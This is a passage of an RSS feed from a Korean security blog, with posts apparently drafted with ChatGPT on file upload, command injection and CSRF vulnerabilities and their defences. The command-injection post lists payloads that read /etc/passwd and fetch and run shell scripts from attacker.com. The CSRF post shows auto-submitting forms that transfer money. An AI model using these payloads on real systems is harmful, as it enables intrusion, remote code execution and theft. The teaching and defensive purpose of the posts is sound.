&lt;/span&gt;&lt;span&gt;&lt;span&gt;move_uploaded_file&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;$_FILES&lt;/span&gt;&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&lt;span&gt;'file'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;][&lt;/span&gt;&lt;span&gt;&lt;span&gt;'tmp_name'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;], &lt;/span&gt;&lt;span&gt;&lt;span&gt;$targetFile&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1707&quot; data-start=&quot;1704&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1725&quot; data-start=&quot;1709&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;1834&quot; data-start=&quot;1726&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;File Upload Vulnerability = 업로드 기능을 악용해 서버에 악성 파일을 넣고 실행시키는 공격이며, 확장자/내용 검증, 실행 불가 디렉토리, WAF 룰로 방어 가능하다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <category>보안</category>
      <category>취약점</category>
      <category>파일 업로드</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/341</guid>
      <comments>https://toastfactory.tistory.com/341#entry341comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:12:20 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Command Injection 이란?</title>
      <link>https://toastfactory.tistory.com/340</link>
      <description>&lt;p data-end=&quot;103&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Command Injection&lt;/b&gt;을 실무 관점에서 정리할게.&lt;br /&gt;역시 &lt;b&gt;원리 &amp;rarr; 예시 Payload &amp;rarr; 공격 목표 &amp;rarr; 방어 방법/WAF 대응&lt;/b&gt;까지 포함했어.&lt;/p&gt;
&lt;hr data-end=&quot;108&quot; data-start=&quot;105&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;142&quot; data-start=&quot;110&quot;&gt;  &lt;b&gt;1. Command Injection 개념&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;251&quot; data-start=&quot;144&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;Command Injection은 &lt;b&gt;웹 애플리케이션에서 사용자 입력을 서버 OS 명령어로 그대로 전달할 때, 공격자가 임의의 OS 명령을 실행하도록 만드는 공격&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;262&quot; data-start=&quot;253&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;338&quot; data-start=&quot;263&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;301&quot; data-start=&quot;263&quot;&gt;공격자가 웹 입력값을 통해 &lt;b&gt;서버 운영체제 명령어를 조작&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;338&quot; data-start=&quot;302&quot;&gt;결과적으로 &lt;b&gt;서버 장악, 파일 조작, 정보 탈취&lt;/b&gt; 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;343&quot; data-start=&quot;340&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;362&quot; data-start=&quot;345&quot;&gt;  &lt;b&gt;2. 공격 원리&lt;/b&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;[웹 입력 필드]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[웹 서버 코드]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[OS 명령어 실행]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;414&quot; data-start=&quot;409&quot; data-ke-size=&quot;size16&quot;&gt;예시:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;ping &amp;lt;사용자 입력&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;468&quot; data-start=&quot;442&quot; data-ke-size=&quot;size16&quot;&gt;공격자가 입력값에 ; ls / 를 넣으면&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;ping 127.0.0.1; &lt;/span&gt;&lt;span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/span&gt;&lt;span&gt; / &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;548&quot; data-start=&quot;503&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;520&quot; data-start=&quot;503&quot;&gt;ping은 정상 수행&lt;/li&gt;
&lt;li data-end=&quot;548&quot; data-start=&quot;521&quot;&gt;ls / &amp;rarr; 서버 루트 파일 목록 출력&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;593&quot; data-start=&quot;550&quot; data-ke-size=&quot;size16&quot;&gt;➡️ 웹 서버가 &lt;b&gt;입력값을 검증 없이 OS 명령어에 연결&lt;/b&gt;했기 때문에 발생&lt;/p&gt;
&lt;hr data-end=&quot;598&quot; data-start=&quot;595&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;625&quot; data-start=&quot;600&quot;&gt;  &lt;b&gt;3. 실무 Payload 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;645&quot; data-start=&quot;627&quot; data-ke-size=&quot;size26&quot;&gt;1) Linux / Unix&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/span&gt;&lt;span&gt; -la / ; &lt;/span&gt;&lt;span&gt;&lt;span&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span&gt; /etc/passwd ; wget &lt;a href=&quot;http://attacker.com/shell.sh&quot;&gt;http://attacker.com/shell.sh&lt;/a&gt; -O /tmp/shell.sh; sh /tmp/shell.sh &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;772&quot; data-start=&quot;759&quot; data-ke-size=&quot;size26&quot;&gt;2) Windows&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp; dir C:\ &amp;amp; powershell -nop -c &quot;IEX(New-Object Net.WebClient).DownloadString('&lt;a href=&quot;http://attacker.com/shell.ps1')&quot;&gt;http://attacker.com/shell.ps1')&lt;/a&gt;&quot; &lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;915&quot; data-start=&quot;896&quot; data-ke-size=&quot;size26&quot;&gt;3) URL / 웹 요청 예시&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;a href=&quot;http://example.com/ping?host=127.0.0.1;&quot;&gt;http://example.com/ping?host=127.0.0.1;&lt;/a&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/span&gt;&lt;span&gt; /etc/ &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;977&quot; data-start=&quot;974&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;996&quot; data-start=&quot;979&quot;&gt;  &lt;b&gt;4. 공격 목표&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1085&quot; data-start=&quot;998&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1015&quot; data-start=&quot;998&quot;&gt;서버 파일 탈취 / 수정&lt;/li&gt;
&lt;li data-end=&quot;1034&quot; data-start=&quot;1016&quot;&gt;웹쉘 업로드 &amp;rarr; 원격 제어&lt;/li&gt;
&lt;li data-end=&quot;1064&quot; data-start=&quot;1035&quot;&gt;민감 정보 유출 (passwd, config)&lt;/li&gt;
&lt;li data-end=&quot;1085&quot; data-start=&quot;1065&quot;&gt;다른 서버/네트워크 공격 발판&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1090&quot; data-start=&quot;1087&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1115&quot; data-start=&quot;1092&quot;&gt;  &lt;b&gt;5. WAF / 관제 대응&lt;/b&gt;&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1135&quot; data-start=&quot;1117&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1135&quot; data-start=&quot;1117&quot;&gt;&lt;b&gt;명령어 시그니처 차단&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1213&quot; data-start=&quot;1136&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1169&quot; data-start=&quot;1136&quot;&gt;;, &amp;amp;, |, &amp;amp;&amp;amp; 등의 쉘 메타문자&lt;/li&gt;
&lt;li data-end=&quot;1213&quot; data-start=&quot;1170&quot;&gt;wget, curl, powershell, cmd.exe&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1228&quot; data-start=&quot;1215&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1228&quot; data-start=&quot;1215&quot;&gt;&lt;b&gt;입력값 검증&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1274&quot; data-start=&quot;1229&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1255&quot; data-start=&quot;1229&quot;&gt;숫자, IP, 허용 문자열 외 입력 차단&lt;/li&gt;
&lt;li data-end=&quot;1274&quot; data-start=&quot;1256&quot;&gt;정규식 Whitelist 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1291&quot; data-start=&quot;1276&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1291&quot; data-start=&quot;1276&quot;&gt;&lt;b&gt;파라미터 무결성&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1336&quot; data-start=&quot;1292&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1311&quot; data-start=&quot;1292&quot;&gt;시스템 명령어 호출을 최소화&lt;/li&gt;
&lt;li data-end=&quot;1336&quot; data-start=&quot;1312&quot;&gt;외부 입력을 직접 shell로 전달 금지&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1353&quot; data-start=&quot;1338&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1353&quot; data-start=&quot;1338&quot;&gt;&lt;b&gt;이상 행위 탐지&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1389&quot; data-start=&quot;1354&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1375&quot; data-start=&quot;1354&quot;&gt;비정상 명령 수행 시 로그 생성&lt;/li&gt;
&lt;li data-end=&quot;1389&quot; data-start=&quot;1376&quot;&gt;반복 공격 IP 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1394&quot; data-start=&quot;1391&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1416&quot; data-start=&quot;1396&quot;&gt;  &lt;b&gt;6. 개발 단계 방어&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1624&quot; data-start=&quot;1418&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1437&quot; data-start=&quot;1418&quot;&gt;&lt;b&gt;OS 명령어 호출 최소화&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1556&quot; data-start=&quot;1438&quot;&gt;라이브러리 함수 사용:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1556&quot; data-start=&quot;1457&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1505&quot; data-start=&quot;1457&quot;&gt;PHP: exec() 대신 proc_open/shell_exec 제한&lt;/li&gt;
&lt;li data-end=&quot;1556&quot; data-start=&quot;1508&quot;&gt;Python: subprocess.run([...], shell=False)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1585&quot; data-start=&quot;1557&quot;&gt;사용자 입력 철저 검증 (Whitelist)&lt;/li&gt;
&lt;li data-end=&quot;1624&quot; data-start=&quot;1586&quot;&gt;Least Privilege 계정 사용 (웹 서버 계정 제한)&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;# Python 안전 호출 예시&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;import&lt;/span&gt;&lt;/span&gt;&lt;span&gt; subprocess &lt;/span&gt;&lt;span&gt;&lt;span&gt;# shell=False, 리스트로 전달 &amp;rarr; 쉘 인젝션 방지&lt;/span&gt;&lt;/span&gt;&lt;span&gt; subprocess.run([&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;ping&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;, user_input], shell=&lt;/span&gt;&lt;span&gt;&lt;span&gt;False&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1765&quot; data-start=&quot;1762&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1783&quot; data-start=&quot;1767&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;1892&quot; data-start=&quot;1784&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Command Injection = 사용자 입력을 서버 OS 명령어로 그대로 전달할 때 공격자가 임의의 명령을 실행하도록 만드는 공격이며, 입력 검증과 안전한 명령 호출로 방어 가능하다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <category>Comman Injection</category>
      <category>보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/340</guid>
      <comments>https://toastfactory.tistory.com/340#entry340comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:10:53 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] CSRF(Cross-Site Request Forgery)란?</title>
      <link>https://toastfactory.tistory.com/339</link>
      <description>&lt;p data-end=&quot;108&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**CSRF(Cross-Site Request Forgery)**를 실무 관점에서 정리해줄게.&lt;br /&gt;역시 &lt;b&gt;원리 &amp;rarr; 예시 &amp;rarr; 공격 목표 &amp;rarr; WAF/개발 방어&lt;/b&gt;까지 포함했어.&lt;/p&gt;
&lt;hr data-end=&quot;113&quot; data-start=&quot;110&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;162&quot; data-start=&quot;115&quot;&gt;  &lt;b&gt;1. CSRF(Cross-Site Request Forgery) 개념&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;242&quot; data-start=&quot;164&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;CSRF는 &lt;b&gt;사용자가 로그인한 상태를 이용해, 공격자가 몰래 의도하지 않은 요청을 서버에 보내도록 하는 공격&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;253&quot; data-start=&quot;244&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;361&quot; data-start=&quot;254&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;283&quot; data-start=&quot;254&quot;&gt;사용자는 정상적으로 사이트에 로그인 되어 있음&lt;/li&gt;
&lt;li data-end=&quot;328&quot; data-start=&quot;284&quot;&gt;공격자는 사용자가 모르는 사이 &lt;b&gt;권한 있는 요청&lt;/b&gt;을 서버에 보내게 함&lt;/li&gt;
&lt;li data-end=&quot;361&quot; data-start=&quot;329&quot;&gt;공격자는 서버가 요청을 정상 사용자로 인식하게 만듦&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;366&quot; data-start=&quot;363&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;390&quot; data-start=&quot;368&quot;&gt;  &lt;b&gt;2. CSRF 공격 원리&lt;/b&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;[사용자 브라우저]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; 로그인 상태 유지 &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[악성 사이트 방문]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[자동 전송된 요청]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[타겟 서버에서 실행]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;515&quot; data-start=&quot;465&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;486&quot; data-start=&quot;465&quot;&gt;로그인 쿠키나 세션 토큰을 사용&lt;/li&gt;
&lt;li data-end=&quot;515&quot; data-start=&quot;487&quot;&gt;사용자가 버튼 클릭 안 해도 요청 발생 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;521&quot; data-start=&quot;517&quot; data-ke-size=&quot;size16&quot;&gt;예:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;564&quot; data-start=&quot;522&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;564&quot; data-start=&quot;522&quot;&gt;사용자가 은행 로그인 상태로 공격자 페이지 방문 &amp;rarr; 몰래 송금 요청 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;569&quot; data-start=&quot;566&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;593&quot; data-start=&quot;571&quot;&gt;  &lt;b&gt;3. CSRF 공격 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;616&quot; data-start=&quot;595&quot; data-ke-size=&quot;size26&quot;&gt;1) HTML Form 자동 전송&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;form&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;action&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&lt;a href=&quot;https://bank.com/transfer&quot;&gt;https://bank.com/transfer&lt;/a&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;method&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;POST&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;id&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;csrfForm&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;input&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;type&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;hidden&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;amount&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;value&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;1000&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;input&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;type&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;hidden&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;toAccount&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;value&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;attacker&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;form&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;script&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;document&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;getElementById&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;'csrfForm'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;&lt;span&gt;submit&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(); &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;script&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;909&quot; data-start=&quot;884&quot; data-ke-size=&quot;size26&quot;&gt;2) Image 태그 요청 방식(GET)&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;img&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;src&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&lt;a href=&quot;https://bank.com/transfer?amount=1000&amp;amp;toAccount=attacker&quot;&gt;https://bank.com/transfer?amount=1000&amp;amp;toAccount=attacker&lt;/a&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; /&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;1010&quot; data-start=&quot;994&quot; data-ke-size=&quot;size26&quot;&gt;3) Link 클릭 유도&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;a&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;href&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&lt;a href=&quot;https://bank.com/transfer?amount=1000&amp;amp;toAccount=attacker&quot;&gt;https://bank.com/transfer?amount=1000&amp;amp;toAccount=attacker&lt;/a&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;Click here!&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;a&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1148&quot; data-start=&quot;1107&quot; data-ke-size=&quot;size16&quot;&gt;➡️ 사용자는 아무런 의심 없이 클릭하거나 방문만 해도 서버에서 요청 실행&lt;/p&gt;
&lt;hr data-end=&quot;1153&quot; data-start=&quot;1150&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1172&quot; data-start=&quot;1155&quot;&gt;  &lt;b&gt;4. 공격 목표&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1235&quot; data-start=&quot;1174&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1199&quot; data-start=&quot;1174&quot;&gt;계정 권한을 이용한 송금, 포인트 이동&lt;/li&gt;
&lt;li data-end=&quot;1211&quot; data-start=&quot;1200&quot;&gt;비밀번호 변경&lt;/li&gt;
&lt;li data-end=&quot;1223&quot; data-start=&quot;1212&quot;&gt;개인정보 수정&lt;/li&gt;
&lt;li data-end=&quot;1235&quot; data-start=&quot;1224&quot;&gt;관리자 권한 악용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1240&quot; data-start=&quot;1237&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1267&quot; data-start=&quot;1242&quot;&gt;  &lt;b&gt;5. WAF / 보안관제 대응&lt;/b&gt;&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1286&quot; data-start=&quot;1269&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1286&quot; data-start=&quot;1269&quot;&gt;&lt;b&gt;CSRF 토큰 검증&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1351&quot; data-start=&quot;1287&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1308&quot; data-start=&quot;1287&quot;&gt;요청 시 서버가 랜덤 토큰 발급&lt;/li&gt;
&lt;li data-end=&quot;1331&quot; data-start=&quot;1309&quot;&gt;모든 상태 변경 요청에 토큰 포함&lt;/li&gt;
&lt;li data-end=&quot;1351&quot; data-start=&quot;1332&quot;&gt;공격자가 토큰 모르면 요청 거부&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1379&quot; data-start=&quot;1353&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1379&quot; data-start=&quot;1353&quot;&gt;&lt;b&gt;Referer / Origin 체크&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1416&quot; data-start=&quot;1380&quot; data-ke-list-type=&quot;disc&quot;&gt;
